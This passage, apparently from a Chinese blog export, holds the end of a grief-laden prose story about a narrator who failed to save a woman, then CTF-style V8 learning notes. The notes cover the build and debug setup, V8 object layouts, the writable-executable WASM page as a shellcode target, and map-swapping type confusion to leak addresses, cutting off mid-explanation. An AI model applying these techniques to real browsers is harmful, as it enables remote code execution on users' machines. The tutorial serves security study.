她走了,走的毫无征兆。又或许,我早就知道会有这么一天了,只是我们谁都没料到,这一天会来的这么早。一切都如往常一样,青藤仍旧攀进窗沿,昙花今天也未盛开,只有她不在了。\n 我知道她的绝望,也知道她的无助,但即便如此,我也仍然无能为力,又或许,是我仍然无动于衷。我甚至能够直视她所有的痛苦,亦能够如我所见的那样存活,但我就像毫无选择的孩童那样,只能看着她沉沦,就同过去的我一样。这无疑是傲慢而又无耻的,因为我本以为一切都会如我所希望的那样发展,哪怕这就像是趁人之危。可我却一败涂地,一切都没能如愿,她仍旧离开了,再也回不来了。迟早有一天,我会忘掉这一切,忘掉所有该被珍视的记忆,也忘掉所有被我珍藏的宝物;健忘的人从来没有珍视的过往,所有的过去都同脊岩那样风化,沦为我脚下的齑粉,褪去原本的颜色,最后被我当作垃圾舍弃。但似乎一切又都如她所期望的那样,我将不再记得有关她的任何事。我似乎不会再痛苦了,却也因此忘记了自己为何心有不甘,那久久盘旋的苦涩又为何物。那我该作何反应呢?理智几乎麻痹了神经,哪怕我本就忧郁而悲伤,却也不会再添加任何杂质;却又似催促一样,告诉她我毫不介意。\n 我……我没能救她。哪怕我从来不将活着视为一种救赎,却也不会把那缺乏美感的死亡当作拯救。而即便如此,我也希望她能活下来,哪怕她已经和那时候的她大相径庭,正如我当时的苟且。我本期望她能得救的,正如我期望她能秉持她一如既往的正确一样。但她却被自己的正确压垮了,被所有错误和凶恶迫害了。我读过她的诉状,我听过她的控诉,用我卑鄙而肮脏的话术骗取了她的信任,让她能够向我倾诉。她曾问我是谁,“稻草人”,我是这样回答她的,正如草人那样的虚妄之物,我不过是个伪物,是麦田里装作人类的赝品罢了。她也曾问我出于何种目的对她如此友善,可答案就连我自己都不知道。或许是为了满足我那散发恶臭的伪善,又或许是为了见证戏剧性的颠转,也可能只是因为常年的孤独有了同伴,又或是……可它们无疑都是真实的,哪怕它们的宿主是虚伪的稻草人。这些混乱的自我杂揉在一起,本该明朗的目的也变得混浊,变成口中断断续续的措辞和闪躲的话语。\n 那么事到如今,我又在做什么?我像是在纪念她,装作为她的离去而痛哭流涕的样子。这是她一生都未曾见过的模样,是目前的我所能够展现出的最为脆弱、也最为痛苦的模样。我一反常态地不再维持理性地外貌,仍由另外一个自己在她的坟前发疯般地恸哭,任凭泪水浸湿稻草,苦涩与麻木的回甘翻涌于胃袋。时隔一年,我变回了那个无知而又懦弱的自己,不再装作无所不知,也不再装出一幅谦虚的皮囊,被过去的傲慢和偏激寻回,也拾回了偏见和歧视。我喝得烂醉,倒在街角的灌木丛背后,说着那些她最不愿意听到的,盛满卑劣的话语。我又开始对那些不了解的政见评头论足,再一次为了地上的五角钱和乞丐大打出手,邋遢而满脸胡茬,又一次成了她最无法想象的那种人。\n 她实在太容易信任别人了,对他人的善意毫不怀疑。尽管她从来没有这么觉得,但在我眼里,她就是这样的人,天真而又浪漫,全然不知该如何辨别善恶。我那甚至不足百余元的善意便轻而易举地打动了她,让她完完全全地信任我,将我所说的每一句话都当作真理。她肯定是信任的天才,直到最后一刻也仍然相信我说的每一句话,哪怕她已经连自己都不再相信了。\n 她无数次地向我寻求答案,我也无数次地肯定她的选择,但她仍然对自己的行为、对自己的选择抱有深深的怀疑。我以为我能救她的。我无数次对她说着同样的话,“你没有做错任何事”,但这一次,就连我引以为傲的话术也不再起效了。唯独在这件事上,哪怕我只是想要让她理解真实,她也没能相信。是因为我所说的每一句话都成了谎言,因此真实才无法从我口中吐露吗?还是因为说谎已经成为了习惯,以至于就连真相都被歪曲成了其他模样?她仍然信任我,可她却无法相信她自己了。她开始信任周身的错误,开始以为那些扭曲的逻辑才是真理;她怀疑自己的正确,甚至放弃自己的正确,无论我如何肯定她的作为,她也无法认同自己。\n 在这一次又一次的轮回里,她越陷越深,现实也变得愈发沉重,而我的病症也愈演愈烈。终于,在那个梅雨泛滥的季节,在那个谩骂声漫溢的极昼,在那个沉默且压抑到几乎窒息的汛期,我再也找不到她了。她没能做出任何反抗,也再没有任何气力去抗争了。哪怕我就在她身边,却没能成为她的力量。她需要的不是毫无作用的稻草人,更不是油嘴滑舌的欺诈师。我本不该出现在她身边的。我早该知道,她最需要的是风车,又或是奔向风车的骑士,而不是我。仅凭一个虚无的稻草人,根本救不了她。\n 我只能看着她被压垮,就像过去的我那样。可她死在了无垠的荒原上,那里既没有麦田也没有极光。稻草人今天守在她的墓旁,稻草人明天守在她的墓旁,只是总有一天,稻草人会忘记这些往事。他会离开这片荒原,再一次与乌鸦作伴,用他最擅长的骗术把这些往事掩盖,藏到极地的冰窟里,埋在昏黑的极夜里。直到极光来的时候,一如我没能救她,我也走失在那片荒原,我也坠向深空,我也……\n 毫无征兆的,稻草人烧起来了;如约而至般,我……没能救她。\n插画ID : 90581793\n","categories":["Story"]},{"title":"Chose me JavaScript-V8 /Chapter1-环境配置","url":"/2022/07/06/chose-me-javascript-v8-chapter1/","content":"写在前面以下步骤一般情况下只在用户能够正常访问外网时成立。大致来说,您需要为自己的设备和 git 配置代理,然后才能够顺利完成以下步骤,但出于某些原因,笔者不便在这里过多赘述配置代理的步骤,还望读者见谅\n运行环境step 0似乎现在去 clone 那个 depot_tools 的仓库里自带了 ninja,有需要这一步的师傅可以在后续步骤中遇到报错时再回来补\ngit clone https://github.com/ninja-build/ninja.gitcd ninja && ./configure.py --bootstrap && cd ..echo 'export PATH=$PATH:"/path/to/ninja"' >> ~/.bashrc# /path/to/ninja改成ninja的目录\n\nstep 1安装依赖并克隆仓库,设置环境变量后拉取 v8 的代码但考虑到中英文问题和一些网络代理问题,这里不安装字体依赖,有需要的师傅可以试着去掉该参数\nsudo apt install bison cdbs curl flex g++ git python vim pkg-configgit clone https://chromium.googlesource.com/chromium/tools/depot_tools.gitecho 'export PATH=$PATH:"/path/to/depot_tools"' >> ~/.bashrc# /path/to/depot_tools改成depot_tools的目录fetch v8./v8/build/install-build-deps.sh --no-chromeos-fonts\n\nstep 2写一个脚本去跑编译,方便以后直接换版本编译:\n#!/bin/bashVER=$1 if [ -z $2 ]; then NAME=$VERelse NAME=$2ficd /path/depot_tools/v8# /path/depot_tools/v8 换成自己的路径git reset --hard $VERgclient sync -Dgn gen out/x64_$NAME.release --args='v8_monolithic=true v8_use_external_startup_data=false is_component_build=false is_debug=false target_cpu ="x64" use_goma=false goma_dir="None" v8_enable_backtrace=true v8_enable_disassembler=true v8_enable_object_print=true v8_enable_verify_heap=true'ninja -C out/x64_$NAME.release d8\n\ntime ./build.sh "9.6.180.6"\n\n编译效率一般取决于自己的设备性能\n调试环境将 “v8/tools/gdbinit” 保存到自己惯用的目录下,这里称之为 “path”,然后将路径写到 .gdbinit 下:\ncp v8/tools/gdbinit /path/gdbinit_v8cat ~/.gdbinit#source /home/tokameine/Desktop/env/pwndbg/gdbinit.py#source /path/gdbinit_v8\n\n做完以后,就能够在源代码中插入如下代码进行调试了:\n%DebugPrint(x); 打印变量 x 的相关信息%SystemBreak(); 抛出中断,令 gdb 在此处断点\n\n\n但这两条代码并非原有的语法,在执行时需添加参数 “–allow-natives-syntax”,否则会提示 “SyntaxError: Unexpected token ‘%’”\n\n调试样本就用一个简单的 demo 测试一下调试能够正常进行:\n//demo.js%SystemBreak();var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);var wasmModule = new WebAssembly.Module(wasmCode);var wasmInstance = new WebAssembly.Instance(wasmModule, {});var f = wasmInstance.exports.main;%DebugPrint(f);%DebugPrint(wasmInstance);%SystemBreak();\n\n\n我们暂时不用在意这段代码在做什么,这无关紧要,我们现在只想知道调试环境是否能够正常工作而已,所以读者只需要知道有这么个变量名为 f 的变量即可\n\n在 v8/out/x64_$name.release 目录下可以找到二进制程序 d8,它才是解析执行 js 代码的引擎,通过 gdb 去调试该程序,并将 demo.js 作为参数传给它\n$ gdb d8pwndbg> r --allow-natives-syntax /home/tokameine/Desktop/demo/test.js pwndbg> c\n\n可以看到 gdb 正常发生了中断,但由于我们调试的并非 js 脚本,所以自然不可能顺着脚本中断,而是在 d8 的某行机器码处中断了,此时它会打印出数组 f 的数据:\npwndbg> cContinuing.DebugPrint: 0x2bdb081d370d: [Function] in OldSpace - map: 0x2bdb08204919 <Map(HOLEY_ELEMENTS)> [FastProperties] - prototype: 0x2bdb081c3b4d <JSFunction (sfi = 0x2bdb08144165)> - elements: 0x2bdb0800222d <FixedArray[0]> [HOLEY_ELEMENTS] - function prototype: <no-prototype-slot> - shared_info: 0x2bdb081d36e9 <SharedFunctionInfo js-to-wasm::i> - name: 0x2bdb080051cd <String[1]: #0> - builtin: GenericJSToWasmWrapper - formal_parameter_count: 0 - kind: NormalFunction - context: 0x2bdb081c3649 <NativeContext[252]> - code: 0x2bdb0018d801 <Code BUILTIN GenericJSToWasmWrapper> - Wasm instance: 0x2bdb081d35b9 <Instance map = 0x2bdb08207399> - Wasm function index: 0 - properties: 0x2bdb0800222d <FixedArray[0]> - All own properties (excluding elements): { 0x2bdb080048f1: [String] in ReadOnlySpace: #length: 0x2bdb08142339 <AccessorInfo> (const accessor descriptor), location: descriptor 0x2bdb08004a21: [String] in ReadOnlySpace: #name: 0x2bdb081422f5 <AccessorInfo> (const accessor descriptor), location: descriptor 0x2bdb08004029: [String] in ReadOnlySpace: #arguments: 0x2bdb0814226d <AccessorInfo> (const accessor descriptor), location: descriptor 0x2bdb08004245: [String] in ReadOnlySpace: #caller: 0x2bdb081422b1 <AccessorInfo> (const accessor descriptor), location: descriptor } - feedback vector: feedback metadata is not available in SFI0x2bdb08204919: [Map] - type: JS_FUNCTION_TYPE - instance size: 28 - inobject properties: 0 - elements kind: HOLEY_ELEMENTS - unused property fields: 0 - enum length: invalid - stable_map - callable - back pointer: 0x2bdb080023b5 <undefined> - prototype_validity cell: 0x2bdb08142405 <Cell value= 1> - instance descriptors (own) #4: 0x2bdb081d0445 <DescriptorArray[4]> - prototype: 0x2bdb081c3b4d <JSFunction (sfi = 0x2bdb08144165)> - constructor: 0x2bdb08002235 <null> - dependent code: 0x2bdb080021b9 <Other heap object (WEAK_FIXED_ARRAY_TYPE)> - construction counter: 0DebugPrint: 0x2bdb081d35b9: [WasmInstanceObject] in OldSpace - map: 0x2bdb08207399 <Map(HOLEY_ELEMENTS)> [FastProperties] - prototype: 0x2bdb08048079 <Object map = 0x2bdb08207af1> - elements: 0x2bdb0800222d <FixedArray[0]> [HOLEY_ELEMENTS] - module_object: 0x2bdb08049cbd <Module map = 0x2bdb08207231> - exports_object: 0x2bdb08049e71 <Object map = 0x2bdb08207bb9> - native_context: 0x2bdb081c3649 <NativeContext[252]> - memory_object: 0x2bdb081d35a1 <Memory map = 0x2bdb08207641> - table 0: 0x2bdb08049e41 <Table map = 0x2bdb082074b1> - imported_function_refs: 0x2bdb0800222d <FixedArray[0]> - indirect_function_table_refs: 0x2bdb0800222d <FixedArray[0]> - managed_native_allocations: 0x2bdb08049df9 <Foreign> - memory_start: 0x7f8f28000000 - memory_size: 65536 - imported_function_targets: 0x55b1281580e0 - globals_start: (nil) - imported_mutable_globals: 0x55b128158210 - indirect_function_table_size: 0 - indirect_function_table_sig_ids: (nil) - indirect_function_table_targets: (nil) - properties: 0x2bdb0800222d <FixedArray[0]> - All own properties (excluding elements): {}0x2bdb08207399: [Map] - type: WASM_INSTANCE_OBJECT_TYPE - instance size: 240 - inobject properties: 0 - elements kind: HOLEY_ELEMENTS - unused property fields: 0 - enum length: invalid - stable_map - back pointer: 0x2bdb080023b5 <undefined> - prototype_validity cell: 0x2bdb08142405 <Cell value= 1> - instance descriptors (own) #0: 0x2bdb080021c1 <Other heap object (STRONG_DESCRIPTOR_ARRAY_TYPE)> - prototype: 0x2bdb08048079 <Object map = 0x2bdb08207af1> - constructor: 0x2bdb081d242d <JSFunction Instance (sfi = 0x2bdb081d2409)> - dependent code: 0x2bdb080021b9 <Other heap object (WEAK_FIXED_ARRAY_TYPE)> - construction counter: 0\n\n另外,v8提供的gdbinit中额外支持了一条 “job” 命令,它可以用来打印对象的相关信息,这里我们可以用数组 a 进行测试:\npwndbg> job 0x2bdb081d370d0x2bdb081d370d: [Function] in OldSpace - map: 0x2bdb08204919 <Map(HOLEY_ELEMENTS)> [FastProperties] - prototype: 0x2bdb081c3b4d <JSFunction (sfi = 0x2bdb08144165)> - elements: 0x2bdb0800222d <FixedArray[0]> [HOLEY_ELEMENTS] - function prototype: <no-prototype-slot> - shared_info: 0x2bdb081d36e9 <SharedFunctionInfo js-to-wasm::i> - name: 0x2bdb080051cd <String[1]: #0> - builtin: GenericJSToWasmWrapper - formal_parameter_count: 0 - kind: NormalFunction - context: 0x2bdb081c3649 <NativeContext[252]> - code: 0x2bdb0018d801 <Code BUILTIN GenericJSToWasmWrapper> - Wasm instance: 0x2bdb081d35b9 <Instance map = 0x2bdb08207399> - Wasm function index: 0 - properties: 0x2bdb0800222d <FixedArray[0]> - All own properties (excluding elements): { 0x2bdb080048f1: [String] in ReadOnlySpace: #length: 0x2bdb08142339 <AccessorInfo> (const accessor descriptor), location: descriptor 0x2bdb08004a21: [String] in ReadOnlySpace: #name: 0x2bdb081422f5 <AccessorInfo> (const accessor descriptor), location: descriptor 0x2bdb08004029: [String] in ReadOnlySpace: #arguments: 0x2bdb0814226d <AccessorInfo> (const accessor descriptor), location: descriptor 0x2bdb08004245: [String] in ReadOnlySpace: #caller: 0x2bdb081422b1 <AccessorInfo> (const accessor descriptor), location: descriptor } - feedback vector: feedback metadata is not available in SFI\n\n其参数是之前 DebugPrint 打印出的地址,可以看见,该指令将对象的各个信息都打印出来了,但我们可以注意到,这个地址的最低位似乎没有四字节对齐,其真实地址是 0x2bdb081d370d-1,但使用 job 时需要将地址加一来区分对象类型和数字类型。如果给出的参数是真实地址,大致会像下面这样:\npwndbg> job 0x2bdb081d370d-1Smi: 0x40e9b86 (68066182)# 0x40e9b86 * 2 = 81D370D-1\n\n\nv8 储存数据的方式有些特别,它会让这些整数都乘以二,也包括数组的长度,因此当 job 认为该地址是一个数字类型时,会将其除以二后的值当作本来的值\n\n可以通过其他查看真正的内存数据:\npwndbg> x/20xw 0x2bdb081d370d-10x2bdb081d370c: 0x08204919 0x0800222d 0x0800222d 0x081d36e90x2bdb081d371c: 0x081c3649 0x0814244d 0x0018d801 0x080026c10x2bdb081d372c: 0x00000008 0x00000000 0x00000002 0x0800528d0x2bdb081d373c: 0x08207bbb 0x00000000 0x00000000 0x000000000x2bdb081d374c: 0x00000000 0x00000000 0x00000000 0x00000000\n\n可以发现,v8 对地址数据进行了压缩储存,由于高 32bit 的地址完全相同,每个地址只会存放其低 32bit 的数据\n参考\nhttps://nobb.site/2021/12/01/0x69/\nhttps://mem2019.github.io/jekyll/update/2019/07/18/V8-Env-Config.html\n\n\n插画ID:95370072\n","categories":["Note","JavaScript-V8"],"tags":["v8"]},{"title":"Chose me JavaScript-V8 /Chapter2-通用利用链","url":"/2022/07/06/chose-me-javascript-v8-chapter2/","content":"首先需要明确的是,通过 v8 漏洞,我们需要达成什么样的目的?\n一般在做 CTF 的时候,往往希望让远程执行 system(“/bin/sh”) 或者 execve(“/bin/sh”,0,0) 又或者 ORW ,除了最后一个外,往往一般是希望能够做到远程命令执行,所以一般通过 v8 漏洞也希望能够做到这一点。一般来说,我们希望能往里面写入shellcode,毕竟栈溢出之类的操作在 v8 下似乎不太可能完成。\nWASM的利用既然要写 shellcode,就需要保证内存中存在可读可写可执行的内存段了。在没有特殊需求的情况下,程序不可能特地开辟一块这样的内存段供用户使用,但在如今支持 WASM(WebAssembly) 的浏览器版本中,一般都需要开辟一块这样的内存用以执行汇编指令,回想上一节给出的测试代码:\n%SystemBreak();var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);var wasmModule = new WebAssembly.Module(wasmCode);var wasmInstance = new WebAssembly.Instance(wasmModule, {});var f = wasmInstance.exports.main;%DebugPrint(f);%DebugPrint(wasmInstance);%SystemBreak();\n\n此处调用了 WebAssembly 模块为 WASM 创建专用的内存段,当我们执行到第二个断点后,通过 “vmmap” 指令可以发现内存中多了一个特殊的内存段:\npwndbg> vmmap 0x226817c0d000 0x226817c0e000 rwxp 1000 0 [anon_226817c0d]\n\n那么现在这段内存就能够为我们所用了。如果我们向其中写入 shellcode ,日后在执行 WASM 时就会转而执行我们写入的攻击代码了\n由于 v8 一般都是开启了所有保护的,为此我们需要像 CTF 题那样先泄露地址,然后再达成任意地址写\n\n这里会有一个疑问,既然是浏览器,难道不能自己构建WASM直接拿下吗?怎么还需要自己去写 shellcode?\n结论是,WASM不允许执行需要系统调用才能完成的操作。更准确的说,WASM并不是汇编代码,而是 v8 会根据这段数据生成一段汇编然后加载到内存段中去执行,而检查该代码是否存在系统调用就发生在这一步。如果通过构造合法的WASM使其创造内存段,然后在之后的操作里写入非法的 Shellcode,就能够完成利用了。\n\n高版本的变化这里有一个不得不说的问题是,在后来的版本中,不会再开辟这样的内存段了\n我们可以先看看现在这个内存段中放入的数据是什么:\npwndbg> vmmap 0x226817c0d000 0x226817c0e000 rwxp 1000 0 [anon_226817c0d]pwndbg> tel 0x226817c0d000 2000:0000│ 0x226817c0d000 ◂— jmp 0x226817c0d480 /* 0xcccccc0000047be9 */01:0008│ 0x226817c0d008 ◂— int3 /* 0xcccccccccccccccc */... ↓ 6 skipped08:0040│ 0x226817c0d040 ◂— jmp qword ptr [rip + 2] /* 0x90660000000225ff */09:0048│ 0x226817c0d048 —▸ 0x55b126522940 (Builtins_ThrowWasmTrapUnreachable) ◂— mov eax, 0x2d60a:0050│ 0x226817c0d050 ◂— jmp qword ptr [rip + 2] /* 0x90660000000225ff */0b:0058│ 0x226817c0d058 —▸ 0x55b126522980 (Builtins_ThrowWasmTrapMemOutOfBounds) ◂— mov eax, 0x2d80c:0060│ 0x226817c0d060 ◂— jmp qword ptr [rip + 2] /* 0x90660000000225ff */0d:0068│ 0x226817c0d068 —▸ 0x55b1265229c0 (Builtins_ThrowWasmTrapUnalignedAccess) ◂— mov eax, 0x2da0e:0070│ 0x226817c0d070 ◂— jmp qword ptr [rip + 2] /* 0x90660000000225ff */0f:0078│ 0x226817c0d078 —▸ 0x55b126522a00 (Builtins_ThrowWasmTrapDivByZero) ◂— mov eax, 0x2dc10:0080│ 0x226817c0d080 ◂— jmp qword ptr [rip + 2] /* 0x90660000000225ff */11:0088│ 0x226817c0d088 —▸ 0x55b126522a40 (Builtins_ThrowWasmTrapDivUnrepresentable) ◂— mov eax, 0x2de12:0090│ 0x226817c0d090 ◂— jmp qword ptr [rip + 2] /* 0x90660000000225ff */13:0098│ 0x226817c0d098 —▸ 0x55b126522a80 (Builtins_ThrowWasmTrapRemByZero) ◂— mov eax, 0x2e0\n\n接下来笔者换到了截至至 2022.7.5 为止的最新版,我们再次重复之前的操作,看看这次 WASM 被放到了哪里:\npwndbg> vmmap 0x88d46808000 0x88d46809000 r-xp 1000 0 [anon_88d46808]pwndbg> tel 0x88d46808000 2000:0000│ 0x88d46808000 ◂— jmp 0x88d4680858001:0008│ 0x88d46808008 ◂— int3 ... ↓ 6 skipped08:0040│ 0x88d46808040 ◂— jmp qword ptr [rip + 2]09:0048│ 0x88d46808048 —▸ 0x7f7da298ca80 (Builtins_ThrowWasmTrapUnreachable) ◂— mov eax, 0x31e0a:0050│ 0x88d46808050 ◂— jmp qword ptr [rip + 2]0b:0058│ 0x88d46808058 —▸ 0x7f7da298cac0 (Builtins_ThrowWasmTrapMemOutOfBounds) ◂— mov eax, 0x3200c:0060│ 0x88d46808060 ◂— jmp qword ptr [rip + 2]0d:0068│ 0x88d46808068 —▸ 0x7f7da298cb00 (Builtins_ThrowWasmTrapUnalignedAccess) ◂— mov eax, 0x3220e:0070│ 0x88d46808070 ◂— jmp qword ptr [rip + 2]0f:0078│ 0x88d46808078 —▸ 0x7f7da298cb40 (Builtins_ThrowWasmTrapDivByZero) ◂— mov eax, 0x32410:0080│ 0x88d46808080 ◂— jmp qword ptr [rip + 2]11:0088│ 0x88d46808088 —▸ 0x7f7da298cb80 (Builtins_ThrowWasmTrapDivUnrepresentable) ◂— mov eax, 0x32612:0090│ 0x88d46808090 ◂— jmp qword ptr [rip + 2]13:0098│ 0x88d46808098 —▸ 0x7f7da298cbc0 (Builtins_ThrowWasmTrapRemByZero) ◂— mov eax, 0x328pwndbg> \n\n这段新增的内存段内容是完全相同的,但区别在于,高版本下的 WASM 内存段不再可写了,只有可读可执行权限,似乎不再能这样攻击了\n不过最开始的学习总归是从低版本向着高版本发展,接下来的内容也将以 “9.6.180.6” 版本为准,就像最开始学习 PWN 时从 Glibc2.23 开始那样(不过我估计有的大佬会从更低的版本开始……)\n数据储存方式用下面的脚本简单看看每个对象在内存中是如何储存的:\n//demo.js%SystemBreak();a= [2.1];b={"a":1};c=[b];d=[1,2,3];%DebugPrint(a);%DebugPrint(b);%DebugPrint(c);%DebugPrint(d);%SystemBreak();\n\nJSArray:apwndbg> job 0x31f3080499c90x31f3080499c9: [JSArray] - map: 0x31f308203ae1 <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties] - prototype: 0x31f3081cc0e9 <JSArray[0]> - elements: 0x31f3080499b9 <FixedDoubleArray[1]> [PACKED_DOUBLE_ELEMENTS] - length: 1 - properties: 0x31f30800222d <FixedArray[0]> - All own properties (excluding elements): { 0x31f3080048f1: [String] in ReadOnlySpace: #length: 0x31f30814215d <AccessorInfo> (const accessor descriptor), location: descriptor } - elements: 0x31f3080499b9 <FixedDoubleArray[1]> { 0: 2.1 }pwndbg> x/8xw 0x31f3080499c9-10x31f3080499c8: 0x08203ae1 0x0800222d 0x080499b9 0x000000020x31f3080499d8: 0x08207aa1 0x0800222d 0x0800222d 0x00000002\n\n可以看出,一个 JSArray 在内存中的布局如下:\n32bit map addr 32bit properties addr 32bit elements addr 32bit length \n\n而其 elements 结构体的内存布局如下:\npwndbg> job 0x31f3080499b90x31f3080499b9: [FixedDoubleArray] - map: 0x31f308002a95 <Map> - length: 1 0: 2.1pwndbg> x/12xw 0x31f3080499b9-10x31f3080499b8: 0x08002a95 0x00000002 0xcccccccd 0x4000cccc0x31f3080499c8: 0x08203ae1 0x0800222d 0x080499b9 0x000000020x31f3080499d8: 0x08207aa1 0x0800222d 0x0800222d 0x00000002\n\n32bit map addr 32bit length 64bit value \n\n并且我们可以注意到,elements+0x10=&a,这说明这两个结构体在内存上相邻,如果 elements 的内容溢出了,就有可能覆盖 DoubleArray 结构体中的数据\n32bit map addr 32bit length 64bit value elements32bit map addr 32bit properties addr 32bit elements addr 32bit length jsarray\n\n\n如上一节所说过的一样,这里的 length 也都被乘以二了\n\nJS_OBJECT_TYPE:bpwndbg> job 0x31f3080499d90x31f3080499d9: [JS_OBJECT_TYPE] - map: 0x31f308207aa1 <Map(HOLEY_ELEMENTS)> [FastProperties] - prototype: 0x31f3081c41f5 <Object map = 0x31f3082021b9> - elements: 0x31f30800222d <FixedArray[0]> [HOLEY_ELEMENTS] - properties: 0x31f30800222d <FixedArray[0]> - All own properties (excluding elements): { 0x31f308007b15: [String] in ReadOnlySpace: #a: 1 (const data field 0), location: in-object }pwndbg> x/8xw 0x31f3080499d9-10x31f3080499d8: 0x08207aa1 0x0800222d 0x0800222d 0x000000020x31f3080499e8: 0x08005c11 0x00010001 0x00000000 0x080021f9\n\n大致的内存结构如下:\n32bit map addr 32bit properties addr 32bit elements addr 32bit length \n\n但这个结构体的 elements 就没有和 JS_OBJECT_TYPE 相邻了,因此一般不存在可利用的地方\nJSArray:cpwndbg> job 0x31f308049a110x31f308049a11: [JSArray] - map: 0x31f308203b31 <Map(PACKED_ELEMENTS)> [FastProperties] - prototype: 0x31f3081cc0e9 <JSArray[0]> - elements: 0x31f308049a05 <FixedArray[1]> [PACKED_ELEMENTS] - length: 1 - properties: 0x31f30800222d <FixedArray[0]> - All own properties (excluding elements): { 0x31f3080048f1: [String] in ReadOnlySpace: #length: 0x31f30814215d <AccessorInfo> (const accessor descriptor), location: descriptor } - elements: 0x31f308049a05 <FixedArray[1]> { 0: 0x31f3080499d9 <Object map = 0x31f308207aa1> }pwndbg> job 0x31f308049a050x31f308049a05: [FixedArray] - map: 0x31f308002205 <Map> - length: 1 0: 0x31f3080499d9 <Object map = 0x31f308207aa1>pwndbg> x/20xw 0x31f308049a05-10x31f308049a04: 0x08002205 0x00000002 0x080499d9 0x08203b310x31f308049a14: 0x0800222d 0x08049a05 0x00000002 0x00000000\n\n同为 JSArray 实体,因此内存布局与变量 a 相同,但不同的是,由于 a 中存放的是 double 类型的浮点数,其 value 占用 64bit,而变量 c 中存放的是地址,由于地址压缩的缘故,其 value 只占用 32bit,但同样与 JSArray 结构体在内存上相邻\nJSArray:dpwndbg> job 0x18e808049a210x18e808049a21: [JSArray] - map: 0x18e808203a41 <Map(PACKED_SMI_ELEMENTS)> [FastProperties] - prototype: 0x18e8081cc0e9 <JSArray[0]> - elements: 0x18e8081d31ed <FixedArray[3]> [PACKED_SMI_ELEMENTS (COW)] - length: 3 - properties: 0x18e80800222d <FixedArray[0]> - All own properties (excluding elements): { 0x18e8080048f1: [String] in ReadOnlySpace: #length: 0x18e80814215d <AccessorInfo> (const accessor descriptor), location: descriptor } - elements: 0x18e8081d31ed <FixedArray[3]> { 0: 1 1: 2 2: 3 }pwndbg> job 0x18e8081d31ed0x18e8081d31ed: [FixedArray] in OldSpace - map: 0x18e808002531 <Map> - length: 3 0: 1 1: 2 2: 3pwndbg> x/8xw 0x18e8081d31ed-10x18e8081d31ec: 0x08002531 0x00000006 0x00000002 0x000000040x18e8081d31fc: 0x00000006 0x08003259 0x00000000 0x081d31ed\n\n整数和浮点数数组没有什么差别,但它们在内存上不再相邻了,并且需要注意的是,其储存的数据也都被乘以二了,因此后续的利用中往往需要用浮点数去溢出,而不能直接了当的用整数数据溢出\n类型识别既然 a、c、d 三个变量都是 JSArray,肯定还需要一个结构用来区别其中储存的数据类型\n我们尝试读取 a 和 d 两个数组的 map 结构体:\npwndbg> job 0x18e808203a410x18e808203a41: [Map] - type: JS_ARRAY_TYPE - instance size: 16 - inobject properties: 0 - elements kind: PACKED_SMI_ELEMENTS - unused property fields: 0 - enum length: invalid - back pointer: 0x18e8080023b5 <undefined> - prototype_validity cell: 0x18e808142405 <Cell value= 1> - instance descriptors #1: 0x18e8081cc59d <DescriptorArray[1]> - transitions #1: 0x18e8081cc5b9 <TransitionArray[4]>Transition array #1: 0x18e80800524d <Symbol: (elements_transition_symbol)>: (transition to HOLEY_SMI_ELEMENTS) -> 0x18e808203ab9 <Map(HOLEY_SMI_ELEMENTS)> - prototype: 0x18e8081cc0e9 <JSArray[0]> - constructor: 0x18e8081cbe85 <JSFunction Array (sfi = 0x18e80814adc9)> - dependent code: 0x18e8080021b9 <Other heap object (WEAK_FIXED_ARRAY_TYPE)> - construction counter: 0pwndbg> job 0x18e808203ae10x18e808203ae1: [Map] - type: JS_ARRAY_TYPE - instance size: 16 - inobject properties: 0 - elements kind: PACKED_DOUBLE_ELEMENTS - unused property fields: 0 - enum length: invalid - back pointer: 0x18e808203ab9 <Map(HOLEY_SMI_ELEMENTS)> - prototype_validity cell: 0x18e808142405 <Cell value= 1> - instance descriptors #1: 0x18e8081cc59d <DescriptorArray[1]> - transitions #1: 0x18e8081cc5e9 <TransitionArray[4]>Transition array #1: 0x18e80800524d <Symbol: (elements_transition_symbol)>: (transition to HOLEY_DOUBLE_ELEMENTS) -> 0x18e808203b09 <Map(HOLEY_DOUBLE_ELEMENTS)> - prototype: 0x18e8081cc0e9 <JSArray[0]> - constructor: 0x18e8081cbe85 <JSFunction Array (sfi = 0x18e80814adc9)> - dependent code: 0x18e8080021b9 <Other heap object (WEAK_FIXED_ARRAY_TYPE)> - construction counter: 0\n\n注意到 map 结构体中存在一项成员用以标注 elements 类型:\n- elements kind: PACKED_DOUBLE_ELEMENTS\n\n并且两个都是 JS_ARRAY_TYPE,大多数数据都是相同的,因此可以直接将一个变量的 map 地址赋给另外一个变量,使得在读取值时错误解析数据类型,也就是所谓的“类型混淆”\n类型混淆是有可能造成地址泄露的,可以考虑这样的代码:\nfloat_arr= [2.1];obj_arr=[float_arr];%DebugPrint(a);%DebugPrint(b);%SystemBreak();\n\n正常访问 obj_arr[0] 会得到一个对象,但如果修改 obj_arr 的 map 为 float_arr 的 map,就会认为 obj_arr 是一个浮点数数组,那么此时访问 obj_arr[0] 就会得到对象 float_arr 的地址了\n\n注:对于没有接触过 Java 或 JavaScript 的读者来说可能会产生困惑,为什么需要通过这种麻烦的方式来获取地址,而不能像 C/C++ 那样直接把对象地址打印出来?\n简单来说,就是 JavaScript 不支持这种操作,它将一切视为对象或整数,消除了所谓“地址”的概念。对 JavaScript 来说,例子中的 obj_arr[0] 储存的是一个 “对象” 而非 “地址”,访问该对象的返回值必然会是一个具体的 “对象”。(哪怕我们通过调试能够发现,它储存的就是一个地址,但在代码层面,我们没有获取该值的手段)\n\n任意变量地址读正如我们上一节所说,JavaScript 不允许我们直接读取某一个地址,但通过 “类型混淆” 的方法能够让 v8引擎 将一个地址误认为整数,并将其读出\naddressOf同上所述,我们讲这种类型混淆的读取地址方法称之为 